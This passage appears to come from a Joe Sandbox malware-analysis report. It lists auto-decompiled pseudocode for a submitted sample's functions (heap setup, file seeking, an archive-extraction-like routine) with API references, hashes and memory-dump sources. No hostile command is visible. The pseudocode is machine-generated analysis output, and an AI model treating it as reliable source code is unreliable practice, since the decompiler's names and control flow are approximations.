						 *_t43 = 0x41b600;
					}
					E0040640D(_t65 - 0x10, _t43);
					L12:
					_t33 = E00408524(_t59,  *((intOrPtr*)(_t65 + 8)),  *((intOrPtr*)(_t65 + 0xc)),  *((intOrPtr*)(_t65 + 0x14)),  *((intOrPtr*)(_t65 - 0x10)),  *((intOrPtr*)(_t65 + 0x18))); // executed
				}
				_t62 = _t33;
				_t34 =  *((intOrPtr*)(_t65 - 0x10));
				 *(_t65 - 4) = 0;
				if(_t34 != 0) {
					 *((intOrPtr*)( *_t34 + 8))(_t34);
				}
				_t35 =  *((intOrPtr*)(_t65 - 0x14));
				 *(_t65 - 4) =  *(_t65 - 4) | 0xffffffff;
				if(_t35 != 0) {
					 *((intOrPtr*)( *_t35 + 8))(_t35);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t65 - 0xc));
				return _t62;
			}

0x00408907
0x0040890c
0x0040890d
0x00408913
0x00408915
0x00408918
0x0040891b
0x00408921
0x00408925
0x0040894e
0x00000000
0x00408950
0x00408950
0x00408952
0x0040895a
0x0040897b
0x0040895c
0x0040895c
0x00408963
0x00408966
0x0040896a
0x00408970
0x00408977
0x00408977
0x00408981
0x00408992
0x0040899f
0x00000000
0x00408994
0x00408994
0x00408994
0x00408992
0x00408927
0x00408927
0x00408929
0x00408931
0x0040893e
0x00408933
0x00408933
0x00408936
0x00408936
0x00408944
0x004089a2
0x004089b3
0x004089b3
0x004089b8
0x004089ba
0x004089bf
0x004089c2
0x004089c7
0x004089c7
0x004089ca
0x004089cd
0x004089d3
0x004089d8
0x004089d8
0x004089e3
0x004089eb

APIs

__EH_prolog.LIBCMT ref: 00408907
GetLastError.KERNEL32(00000001,00000000,?,?,00000000,?,?,00408AEB,?,?,?,?,?,?,?,00000000), ref: 00408994

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorH_prologLast
String ID:
API String ID: 1057991267-0
Opcode ID: 3b655691cd2a170c36ef711b3d6cea0560e4eeba85cc05aee82b2e3575fc547f
Instruction ID: a8fc1237ba57e47b0ed65f04e9c7bd5e3c99de29461016f9efabf40ab0132a5b
Opcode Fuzzy Hash: 3b655691cd2a170c36ef711b3d6cea0560e4eeba85cc05aee82b2e3575fc547f
Instruction Fuzzy Hash: 3F3181B19012499FCB10DF95CA859BEBBA0FF04314B14817FE495B72A1CB388D41CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 004051C8 Relevance: 3.1, APIs: 2, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E004051C8(void* __ecx, intOrPtr* __edx, void* __eflags) {
				void* _t17;
				void* _t20;
				void* _t21;
				void* _t24;
				long _t27;
				void* _t31;
				void* _t41;
				intOrPtr* _t44;
				void* _t46;

				_t51 = __eflags;
				_t39 = __edx;
				E00413954(E0041965C, _t46);
				_t41 = __ecx;
				_t44 = __edx;
				E00405268(_t46 - 0x1c);
				while(1) {
					 *(_t46 - 4) =  *(_t46 - 4) & 0x00000000;
					_push(_t44);
					_push(_t41);
					_t17 = E0040511B(_t46 - 0x1c, _t39, _t51); // executed
					_t31 = _t46 - 0x1c;
					if(_t17 == 0) {
						break;
					}
					_t21 = E004051A4(_t31);
					_t53 = _t21;
					if(_t21 == 0) {
						_t31 = _t46 - 0x1c;
						break;
					} else {
						 *(_t46 - 4) =  *(_t46 - 4) | 0xffffffff;
						E004051A4(_t46 - 0x1c);
						E00403A9C( *((intOrPtr*)(_t46 - 0x18)));
						_t24 = E004058CD( *_t44, _t39, _t53); // executed
						if(_t24 != 0) {
							L6:
							E00405268(_t46 - 0x1c);
							continue;
						} else {
							if(E0040498D( *_t44) != 0) {
								_t20 = 1;
							} else {
								_t27 = GetLastError();
								_t51 = _t27 - 0xb7;
								if(_t27 != 0xb7) {
									L9:
									_t20 = 0;
									__eflags = 0;
								} else {
									goto L6;
								}
							}
						}
					}
					 *[fs:0x0] =  *((intOrPtr*)(_t46 - 0xc));
					return _t20;
				}
				E004051A4(_t31);
				E00403A9C( *((intOrPtr*)(_t46 - 0x18)));
				goto L9;
			}

0x004051c8
0x004051c8
0x004051cd
0x004051d7
0x004051d9
0x004051de
0x004051e3
0x004051e3
0x004051e7
0x004051e8
0x004051ec
0x004051f3
0x004051f6
0x00000000
0x00000000
0x004051f8
0x004051fd
0x004051ff
0x00405243
0x00000000
0x00405201
0x00405201
0x00405208
0x00405210
0x00405218
0x0040521f
0x00405239
0x0040523c
0x00000000
0x00405221
0x0040522a
0x00405264
0x0040522c
0x0040522c
0x00405232
0x00405237
0x00405254
0x00405254
0x00405254
0x00000000
0x00000000
0x00000000
0x00405237
0x0040522a
0x0040521f
0x0040525b
0x00405263
0x00405263
0x00405246
0x0040524e
0x00000000

APIs

__EH_prolog.LIBCMT ref: 004051CD

Part of subcall function 0040511B: __EH_prolog.LIBCMT ref: 00405120

Part of subcall function 004058CD: __EH_prolog.LIBCMT ref: 004058D2

GetLastError.KERNEL32(?,?,?,?,00000003,?,00000000,?,00000000), ref: 0040522C

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: H_prolog$ErrorLast
String ID:
API String ID: 2901101390-0
Opcode ID: d33f8126ed8318c7129a01f11b7322f40edc7a38c1873fe00e643a2a39180484
Instruction ID: 4ca71d6396368880cce983a38ddafe9bc91d36a7a330c4fa26da9ce64be84c4d
Opcode Fuzzy Hash: d33f8126ed8318c7129a01f11b7322f40edc7a38c1873fe00e643a2a39180484
Instruction Fuzzy Hash: 43114831C00A059ACF14FBA5D4426EFBB70DF51368F1042BFA462771E28B7C1A4ACE19

Uniqueness

Uniqueness Score: -1.00%

Function 004159F8 Relevance: 3.0, APIs: 2, Instructions: 30
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004159F8(void* __ecx, intOrPtr _a4) {
				void* _t6;
				intOrPtr _t8;
				void* _t9;
				void* _t10;
				void* _t12;

				_t12 = __ecx;
				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				_t15 = _t6;
				 *0x425a34 = _t6;
				if(_t6 == 0) {
					L7:
					return 0;
				} else {
					_t8 = E004158B0(_t12, _t15);
					 *0x425a38 = _t8;
					if(_t8 != 3) {
						__eflags = _t8 - 2;
						if(_t8 != 2) {
							goto L8;
						} else {
							_t10 = E0041659C();
							goto L5;
						}
					} else {
						_t10 = E00415A55(0x3f8);
						L5:
						if(_t10 != 0) {
							L8:
							_t9 = 1;
							return _t9;
						} else {
							HeapDestroy( *0x425a34);
							goto L7;
						}
					}
				}
			}

0x004159f8
0x00415a09
0x00415a0f
0x00415a11
0x00415a16
0x00415a4e
0x00415a50
0x00415a18
0x00415a18
0x00415a20
0x00415a25
0x00415a34
0x00415a37
0x00000000
0x00415a39
0x00415a39
0x00000000
0x00415a39
0x00415a27
0x00415a2c
0x00415a3e
0x00415a40
0x00415a51
0x00415a53
0x00415a54
0x00415a42
0x00415a48
0x00000000
0x00415a48
0x00415a40
0x00415a25

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,00414B62,00000001), ref: 00415A09

Part of subcall function 004158B0: GetVersionExA.KERNEL32 ref: 004158CF

HeapDestroy.KERNEL32 ref: 00415A48

Part of subcall function 00415A55: HeapAlloc.KERNEL32(00000000,00000140,00415A31,000003F8), ref: 00415A62

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocCreateDestroyVersion
String ID:
API String ID: 2507506473-0
Opcode ID: 825b9816dc88181ec874f225c5ca0d214e5516542b2a7945f872998de4828b81
Instruction ID: d610f17f35f819288534aaa08ec9d41b03b5a17a7fe04688d897b1e7918b3c37
Opcode Fuzzy Hash: 825b9816dc88181ec874f225c5ca0d214e5516542b2a7945f872998de4828b81
Instruction Fuzzy Hash: 00F03070696A01EBDB206B715DCA7E62A949F84799F104637F540C85A0EB7884C19A1D

Uniqueness

Uniqueness Score: -1.00%

Function 00405ACE Relevance: 3.0, APIs: 2, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00405ACE(void** __ecx, long _a4, long _a8, long _a12, long* _a16) {
				long _v8;
				long _v12;
				long _t12;
				long _t13;
				long* _t14;

				_push(__ecx);
				_push(__ecx);
				_t12 = _a4;
				_v8 = _a8;
				_v12 = _t12;
				_t13 = SetFilePointer( *__ecx, _t12,  &_v8, _a12); // executed
				_v12 = _t13;
				if(_t13 != 0xffffffff || GetLastError() == 0) {
					_t14 = _a16;
					 *_t14 = _v12;
					_t14[1] = _v8;
					return 1;
				} else {
					return 0;
				}
			}

0x00405ad1
0x00405ad2
0x00405ad9
0x00405adc
0x00405ae2
0x00405ae9
0x00405af2
0x00405af5
0x00405b05
0x00405b0b
0x00405b10
0x00000000
0x00405b01
0x00000000
0x00405b01

APIs

SetFilePointer.KERNELBASE(?,?,?,?), ref: 00405AE9
GetLastError.KERNEL32(?,?,?,?), ref: 00405AF7

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 76489df8c25185c5262ec68b9c2ea30a41bcc890bee3aa4ad9f45433592c2f72
Instruction ID: ae3098a1e04470c1e0e5e0b92581544958da7485e9b3b22056b888074196ff7d
Opcode Fuzzy Hash: 76489df8c25185c5262ec68b9c2ea30a41bcc890bee3aa4ad9f45433592c2f72
Instruction Fuzzy Hash: 89F0B7B4504208EFCB14CF54D9448AE7BF9EF49350B108169F815A7390D731AE00DF69

Uniqueness

Uniqueness Score: -1.00%

Function 0040BBC9 Relevance: 2.0, APIs: 1, Instructions: 515
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0040BBC9(signed char __edx) {
				signed int _t287;
				signed char _t289;
				signed int _t291;
				signed char _t292;
				signed char _t295;
				signed char _t305;
				intOrPtr _t307;
				signed char _t308;
				signed char _t314;
				intOrPtr _t315;
				signed char _t323;
				signed char _t325;
				signed char _t329;
				signed char _t330;
				signed char _t334;
				signed char _t335;
				signed char _t340;
				signed char _t345;
				signed char _t349;
				signed char _t351;
				signed char _t352;
				signed char _t356;
				signed char _t368;
				signed char _t372;
				signed int _t380;
				intOrPtr _t388;
				intOrPtr _t397;
				signed char _t401;
				signed char _t407;
				signed char _t408;
				intOrPtr _t410;
				intOrPtr _t475;
				signed char _t485;
				signed int _t488;
				signed char _t489;
				intOrPtr* _t490;
				signed int _t492;
				intOrPtr _t498;
				signed int _t501;
				signed int _t502;
				void* _t503;
				signed char _t506;
				signed int _t508;
				intOrPtr _t509;
				void* _t510;
				void* _t512;

				_t485 = __edx;
				_t287 = E00413954(E0041A262, _t510);
				_t407 = 0;
				 *(_t510 - 4) = 0;
				 *((char*)(_t510 - 0x4c)) = _t287 & 0xffffff00 |  *(_t510 + 0x14) != 0x00000000;
				_t289 =  *(_t510 + 0x18);
				 *((intOrPtr*)(_t510 - 0x10)) = _t512 - 0x124;
				 *(_t510 + 0x18) = _t289;
				if(_t289 != 0) {
					 *((intOrPtr*)( *_t289 + 4))(_t289);
				}
				 *(_t510 - 4) = 1;
				 *(_t510 - 0x1c) = _t407;
				 *(_t510 - 0x18) = _t407;
				 *((char*)(_t510 + 0x17)) =  *(_t510 + 0x10) == 0xffffffff;
				if( *((char*)(_t510 + 0x17)) != 0) {
					 *(_t510 + 0x10) =  *( *(_t510 + 8) + 0x7c);
				}
				if( *(_t510 + 0x10) != _t407) {
					E00402155(_t510 - 0x30);
					 *((intOrPtr*)(_t510 - 0x30)) = 0x41b740;
					_t291 = 0;
					__eflags = 0;
					 *(_t510 - 4) = 2;
					 *(_t510 - 0x34) = 0;
					while(1) {
						__eflags = _t291 -  *(_t510 + 0x10);
						if(_t291 >=  *(_t510 + 0x10)) {
							break;
						}
						__eflags =  *((char*)(_t510 + 0x17));
						if( *((char*)(_t510 + 0x17)) == 0) {
							_t291 =  *( *(_t510 + 0xc) + _t291 * 4);
						}
						_t496 =  *(_t510 + 8);
						 *(_t510 - 0x38) = _t291;
						_t508 =  *( *((intOrPtr*)( *(_t510 + 8) + 0x1c8)) + _t291 * 4);
						__eflags = _t508 - 0xffffffff;
						if(_t508 != 0xffffffff) {
							_t380 =  *(_t510 - 0x28);
							__eflags = _t380 - _t407;
							if(_t380 == _t407) {
								L16:
								 *(_t510 - 0x7c) =  *(_t510 - 0x7c) | 0xffffffff;
								 *(_t510 - 0x78) = _t508;
								E0040C3F8(_t510 - 0x74);
								 *(_t510 - 0x5c) = _t407;
								 *(_t510 - 0x58) = _t407;
								_push(_t510 - 0x7c);
								 *(_t510 - 4) = 5;
								E0040C46D(_t510 - 0x30);
								 *(_t510 - 4) = 2;
								E004042AD(_t510 - 0x74);
								_t475 = E0040C281( *((intOrPtr*)( *((intOrPtr*)(_t496 + 0x58)) + _t508 * 4)));
								_t67 = _t510 - 0x1c;
								 *_t67 =  *(_t510 - 0x1c) + _t475;
								__eflags =  *_t67;
								_t388 =  *((intOrPtr*)( *((intOrPtr*)(_t510 - 0x24)) +  *(_t510 - 0x28) * 4 - 4));
								asm("adc [ebp-0x18], edx");
								 *((intOrPtr*)(_t388 + 0x20)) = _t475;
								 *(_t388 + 0x24) = _t485;
								L17:
								_t498 =  *((intOrPtr*)( *((intOrPtr*)(_t510 - 0x24)) +  *(_t510 - 0x28) * 4 - 4));
								_t410 =  *((intOrPtr*)( *((intOrPtr*)( *(_t510 + 8) + 0x1b4)) + _t508 * 4));
								_t509 =  *((intOrPtr*)(_t498 + 0x10));
								while(1) {
									_t393 =  *(_t510 - 0x38) - _t410;
									__eflags = _t509 -  *(_t510 - 0x38) - _t410;
									if(_t509 >  *(_t510 - 0x38) - _t410) {
										goto L13;
									}
									_t87 = _t498 + 8; // 0xa
									E0040C413(_t87, _t393 & 0xffffff00 | __eflags == 0x00000000);
									_t509 = _t509 + 1;
								}
								goto L13;
							}
							_t397 =  *((intOrPtr*)( *((intOrPtr*)(_t510 - 0x24)) + _t380 * 4 - 4));
							__eflags = _t508 -  *((intOrPtr*)(_t397 + 4));
							if(_t508 ==  *((intOrPtr*)(_t397 + 4))) {
								goto L17;
							}
							goto L16;
						} else {
							_push(_t508);
							_push(_t291);
							_push(E0040C30E(_t510 - 0x130));
							 *(_t510 - 4) = 3;
							E0040C46D(_t510 - 0x30);
							 *(_t510 - 4) = 2;
							E004042AD(_t510 - 0x128);
							L13:
							_t291 =  *(_t510 - 0x34) + 1;
							_t407 = 0;
							 *(_t510 - 0x34) = _t291;
							continue;
						}
					}
					_t292 =  *(_t510 + 0x18);
					__eflags =  *((intOrPtr*)( *_t292 + 0xc))(_t292,  *(_t510 - 0x1c),  *(_t510 - 0x18)) - _t407;
					if(__eflags == 0) {
						E0040AC6A(_t510 - 0x108, __eflags, 1);
						_push(0x38);
						 *(_t510 - 4) = 7;
						 *(_t510 - 0x40) = _t407;
						 *(_t510 - 0x3c) = _t407;
						 *(_t510 - 0x1c) = _t407;
						 *(_t510 - 0x18) = _t407;
						_t295 = E00403A76();
						 *(_t510 + 0x10) = _t295;
						__eflags = _t295 - _t407;
						 *(_t510 - 4) = 8;
						if(_t295 == _t407) {
							_t501 = 0;
							__eflags = 0;
						} else {
							_t501 = E004072A1(_t295);
						}
						_t488 = _t501;
						__eflags = _t501 - _t407;
						 *(_t510 - 4) = 7;
						 *(_t510 - 0x38) = _t488;
						 *(_t510 - 0x14) = _t501;
						if(_t501 != _t407) {
							 *((intOrPtr*)( *_t501 + 4))(_t501);
						}
						_push(_t407);
						 *(_t510 - 4) = 9;
						E00407334(_t501,  *(_t510 + 0x18));
						_t502 = 0;
						__eflags = 0;
						 *(_t510 + 0x14) = 0;
						while(1) {
							 *(_t488 + 0x28) =  *(_t510 - 0x1c);
							 *(_t488 + 0x2c) =  *(_t510 - 0x18);
							 *(_t488 + 0x20) =  *(_t510 - 0x40);
							 *(_t488 + 0x24) =  *(_t510 - 0x3c);
							_t489 = E00407410(_t488);
							__eflags = _t489 - _t407;
							if(_t489 != _t407) {
								break;
							}
							__eflags = _t502 -  *(_t510 - 0x28);
							if(_t502 <  *(_t510 - 0x28)) {
								_push(0x38);
								 *(_t510 - 0x48) = _t407;
								 *(_t510 - 0x44) = _t407;
								_t490 =  *((intOrPtr*)( *((intOrPtr*)(_t510 - 0x24)) + _t502 * 4));
								 *((intOrPtr*)(_t510 - 0x54)) =  *((intOrPtr*)(_t490 + 0x20));
								 *((intOrPtr*)(_t510 - 0x50)) =  *((intOrPtr*)(_t490 + 0x24));
								_t305 = E00403A76();
								 *(_t510 + 0xc) = _t305;
								__eflags = _t305 - _t407;
								 *(_t510 - 4) = 0xb;
								if(_t305 == _t407) {
									_t408 = 0;
									__eflags = 0;
								} else {
									_t408 = E0040C5E8(_t305);
								}
								__eflags = _t408;
								 *(_t510 - 0x34) = _t408;
								 *(_t510 - 4) = 9;
								 *(_t510 + 0x10) = _t408;
								if(_t408 != 0) {
									 *((intOrPtr*)( *_t408 + 4))(_t408);
								}
								 *(_t510 - 4) = 0xc;
								_t503 =  *(_t510 + 8) + 0x10;
								_t307 =  *_t490;
								__eflags = _t307 - 0xffffffff;
								if(_t307 == 0xffffffff) {
									_t307 =  *((intOrPtr*)( *((intOrPtr*)(_t503 + 0x1a4)) +  *(_t490 + 4) * 4));
								}
								__eflags =  *( *(_t510 + 8) + 0x1e0);
								_t173 = _t490 + 8; // 0x8
								_t308 = E0040C73A(_t408, _t503, 0, _t307, _t173,  *(_t510 + 0x18),  *((intOrPtr*)(_t510 - 0x4c)),  *(_t510 + 8) & 0xffffff00 |  *( *(_t510 + 8) + 0x1e0) != 0x00000000); // executed
								__eflags = _t308;
								 *(_t510 + 0xc) = _t308;
								if(_t308 == 0) {
									__eflags =  *_t490 - 0xffffffff;
									if( *_t490 == 0xffffffff) {
										_t492 =  *(_t490 + 4) << 2;
										 *(_t510 + 0xc) =  *( *((intOrPtr*)(_t503 + 0x48)) + _t492);
										 *(_t510 - 0x48) = E0040C2CD(_t503,  *(_t490 + 4));
										 *(_t510 - 0x44) = _t485;
										 *(_t510 - 4) = 0xe;
										_t485 =  *( *((intOrPtr*)(_t503 + 0x17c)) + ( *( *((intOrPtr*)(_t503 + 0x190)) + _t492) << 3) + 4);
										asm("adc edx, [esi+0x14c]");
										_t314 = E0040AD19(_t510 - 0x108, __eflags,  *((intOrPtr*)( *(_t510 + 8) + 8)),  *((intOrPtr*)( *((intOrPtr*)(_t503 + 0x17c)) + ( *( *((intOrPtr*)(_t503 + 0x190)) + _t492) << 3))) +  *((intOrPtr*)(_t503 + 0x148)), _t485,  *((intOrPtr*)(_t503 + 0xc)) + ( *( *((intOrPtr*)(_t503 + 0x190)) + _t492) << 3),  *(_t510 + 0xc),  *(_t510 + 0x10),  *(_t510 - 0x14)); // executed
										_t506 = _t314;
										__eflags = _t506 - 1;
										if(_t506 != 1) {
											__eflags = _t506 - 0x80004001;
											if(_t506 != 0x80004001) {
												__eflags = _t506;
												if(_t506 == 0) {
													_t315 =  *((intOrPtr*)(_t408 + 0x18));
													__eflags =  *((intOrPtr*)(_t408 + 0x28)) -  *((intOrPtr*)(_t315 + 8));
													if( *((intOrPtr*)(_t408 + 0x28)) ==  *((intOrPtr*)(_t315 + 8))) {
														 *(_t510 - 4) = 9;
														E00403800(_t510 + 0x10);
														L91:
														 *(_t510 + 0x14) =  *(_t510 + 0x14) + 1;
														 *(_t510 - 0x1c) =  *(_t510 - 0x1c) +  *((intOrPtr*)(_t510 - 0x54));
														_t488 =  *(_t510 - 0x38);
														_t502 =  *(_t510 + 0x14);
														asm("adc [ebp-0x18], eax");
														 *(_t510 - 0x40) =  *(_t510 - 0x40) +  *(_t510 - 0x48);
														asm("adc [ebp-0x3c], eax");
														_t407 = 0;
														continue;
													}
													_t506 = E0040CA4C(_t408, _t510, 2);
													_t323 =  *(_t510 + 0x10);
													__eflags = _t506;
													 *(_t510 - 4) = 9;
													if(_t506 == 0) {
														L86:
														__eflags = _t323;
														if(_t323 != 0) {
															 *((intOrPtr*)( *_t323 + 8))(_t323);
														}
														 *(_t510 - 4) = 9;
														goto L91;
													}
													__eflags = _t323;
													if(_t323 != 0) {
														 *((intOrPtr*)( *_t323 + 8))(_t323);
													}
													_t325 =  *(_t510 - 0x14);
													 *(_t510 - 4) = 7;
													__eflags = _t325;
													if(__eflags != 0) {
														 *((intOrPtr*)( *_t325 + 8))(_t325);
													}
													 *(_t510 - 4) = 2;
													E0040C380(_t510 - 0x108, __eflags);
													 *((intOrPtr*)(_t510 - 0x30)) = 0x41b740;
													 *(_t510 - 4) = 0x12;
													L82:
													E004042D6();
													 *(_t510 - 4) = 1;
													E004042AD(_t510 - 0x30);
													_t329 =  *(_t510 + 0x18);
													 *(_t510 - 4) =  *(_t510 - 4) & 0x00000000;
													__eflags = _t329;
													L83:
													if(__eflags != 0) {
														 *((intOrPtr*)( *_t329 + 8))(_t329);
													}
													_t330 = _t506;
													goto L92;
												}
												_t334 =  *(_t510 + 0x10);
												 *(_t510 - 4) = 9;
												__eflags = _t334;
												if(_t334 != 0) {
													 *((intOrPtr*)( *_t334 + 8))(_t334);
												}
												_t335 =  *(_t510 - 0x14);
												 *(_t510 - 4) = 7;
												__eflags = _t335;
												if(__eflags != 0) {
													 *((intOrPtr*)( *_t335 + 8))(_t335);
												}
												 *(_t510 - 4) = 2;
												E0040C380(_t510 - 0x108, __eflags);
												 *((intOrPtr*)(_t510 - 0x30)) = 0x41b740;
												 *(_t510 - 4) = 0x11;
												goto L82;
											}
											_t506 = E0040CA4C(_t408, _t510, 1);
											_t323 =  *(_t510 + 0x10);
											__eflags = _t506;
											 *(_t510 - 4) = 9;
											if(_t506 == 0) {
												goto L86;
											}
											__eflags = _t323;
											if(_t323 != 0) {
												 *((intOrPtr*)( *_t323 + 8))(_t323);
											}
											_t340 =  *(_t510 - 0x14);
											 *(_t510 - 4) = 7;
											__eflags = _t340;
											if(__eflags != 0) {
												 *((intOrPtr*)( *_t340 + 8))(_t340);
											}
											 *(_t510 - 4) = 2;
											E0040C380(_t510 - 0x108, __eflags);
											 *((intOrPtr*)(_t510 - 0x30)) = 0x41b740;
											 *(_t510 - 4) = 0x10;
											goto L82;
										}
										_t506 = E0040CA4C(_t408, _t510, 2);
										_t323 =  *(_t510 + 0x10);
										__eflags = _t506;
										 *(_t510 - 4) = 9;
										if(_t506 == 0) {
											goto L86;
										}
										__eflags = _t323;
										if(_t323 != 0) {
											 *((intOrPtr*)( *_t323 + 8))(_t323);
										}
										_t345 =  *(_t510 - 0x14);
										 *(_t510 - 4) = 7;
										__eflags = _t345;
										if(__eflags != 0) {
											 *((intOrPtr*)( *_t345 + 8))(_t345);
										}
										 *(_t510 - 4) = 2;
										E0040C380(_t510 - 0x108, __eflags);
										 *((intOrPtr*)(_t510 - 0x30)) = 0x41b740;
										 *(_t510 - 4) = 0xf;
										goto L82;
									}
									_t349 =  *(_t510 + 0x10);
									 *(_t510 - 4) = 9;
									__eflags = _t349;
									if(_t349 != 0) {
										 *((intOrPtr*)( *_t349 + 8))(_t349);
									}
									goto L91;
								} else {
									_t351 =  *(_t510 + 0x10);
									 *(_t510 - 4) = 9;
									__eflags = _t351;
									if(_t351 != 0) {
										 *((intOrPtr*)( *_t351 + 8))(_t351);
									}
									_t352 =  *(_t510 - 0x14);
									 *(_t510 - 4) = 7;
									__eflags = _t352;
									if(__eflags != 0) {
										 *((intOrPtr*)( *_t352 + 8))(_t352);
									}
									 *(_t510 - 4) = 2;
									E0040C380(_t510 - 0x108, __eflags);
									 *((intOrPtr*)(_t510 - 0x30)) = 0x41b740;
									 *(_t510 - 4) = 0xd;
									E004042D6();
									 *(_t510 - 4) = 1;
									E004042AD(_t510 - 0x30);
									_t356 =  *(_t510 + 0x18);
									 *(_t510 - 4) =  *(_t510 - 4) & 0x00000000;
									__eflags = _t356;
									if(_t356 != 0) {
										 *((intOrPtr*)( *_t356 + 8))(_t356);
									}
									_t330 =  *(_t510 + 0xc);
									goto L92;
								}
							}
							 *(_t510 - 4) = 7;
							E00403800(_t510 - 0x14);
							 *(_t510 - 4) = 2;
							E0040C380(_t510 - 0x108, __eflags); // executed
							 *(_t510 - 4) = 1;
							E0040C435(_t510 - 0x30);
							_t144 = _t510 - 4;
							 *_t144 =  *(_t510 - 4) & 0x00000000;
							__eflags =  *_t144;
							E00403800(_t510 + 0x18);
							goto L36;
						}
						_t368 =  *(_t510 - 0x14);
						 *(_t510 - 4) = 7;
						__eflags = _t368 - _t407;
						if(__eflags != 0) {
							 *((intOrPtr*)( *_t368 + 8))(_t368);
						}
						 *(_t510 - 4) = 2;
						E0040C380(_t510 - 0x108, __eflags);
						 *((intOrPtr*)(_t510 - 0x30)) = 0x41b740;
						 *(_t510 - 4) = 0xa;
						E004042D6();
						 *(_t510 - 4) = 1;
						E004042AD(_t510 - 0x30);
						_t372 =  *(_t510 + 0x18);
						 *(_t510 - 4) =  *(_t510 - 4) & 0x00000000;
						__eflags = _t372 - _t407;
						if(_t372 != _t407) {
							 *((intOrPtr*)( *_t372 + 8))(_t372);
						}
						_t330 = _t489;
						goto L92;
					}
					 *((intOrPtr*)(_t510 - 0x30)) = 0x41b740;
					 *(_t510 - 4) = 6;
					E004042D6();
					 *(_t510 - 4) = 1;
					E004042AD(_t510 - 0x30);
					_t329 =  *(_t510 + 0x18);
					 *(_t510 - 4) =  *(_t510 - 4) & 0x00000000;
					__eflags = _t329 - _t407;
					goto L83;
				} else {
					_t401 =  *(_t510 + 0x18);
					 *(_t510 - 4) =  *(_t510 - 4) & 0x00000000;
					if(_t401 != _t407) {
						 *((intOrPtr*)( *_t401 + 8))(_t401);
					}
					L36:
					_t330 = 0;
					L92:
					 *[fs:0x0] =  *((intOrPtr*)(_t510 - 0xc));
					return _t330;
				}
			}

0x0040bbc9
0x0040bbce
0x0040bbda
0x0040bbe1
0x0040bbe7
0x0040bbea
0x0040bbef
0x0040bbf2
0x0040bbf5
0x0040bbfa
0x0040bbfa
0x0040bc01
0x0040bc05
0x0040bc08
0x0040bc0b
0x0040bc13
0x0040bc1b
0x0040bc1b
0x0040bc21
0x0040bc40
0x0040bc45
0x0040bc4c
0x0040bc4c
0x0040bc4e
0x0040bc52
0x0040bc55
0x0040bc55
0x0040bc58
0x00000000
0x00000000
0x0040bc5e
0x0040bc62
0x0040bc67
0x0040bc67
0x0040bc6a
0x0040bc6d
0x0040bc76
0x0040bc79
0x0040bc7c
0x0040bcb2
0x0040bcb5
0x0040bcb7
0x0040bcc5
0x0040bcc5
0x0040bccc
0x0040bccf
0x0040bcd4
0x0040bcd7
0x0040bce0
0x0040bce1
0x0040bce5
0x0040bced
0x0040bcf1
0x0040bd04
0x0040bd09
0x0040bd09
0x0040bd09
0x0040bd0c
0x0040bd10
0x0040bd13
0x0040bd16
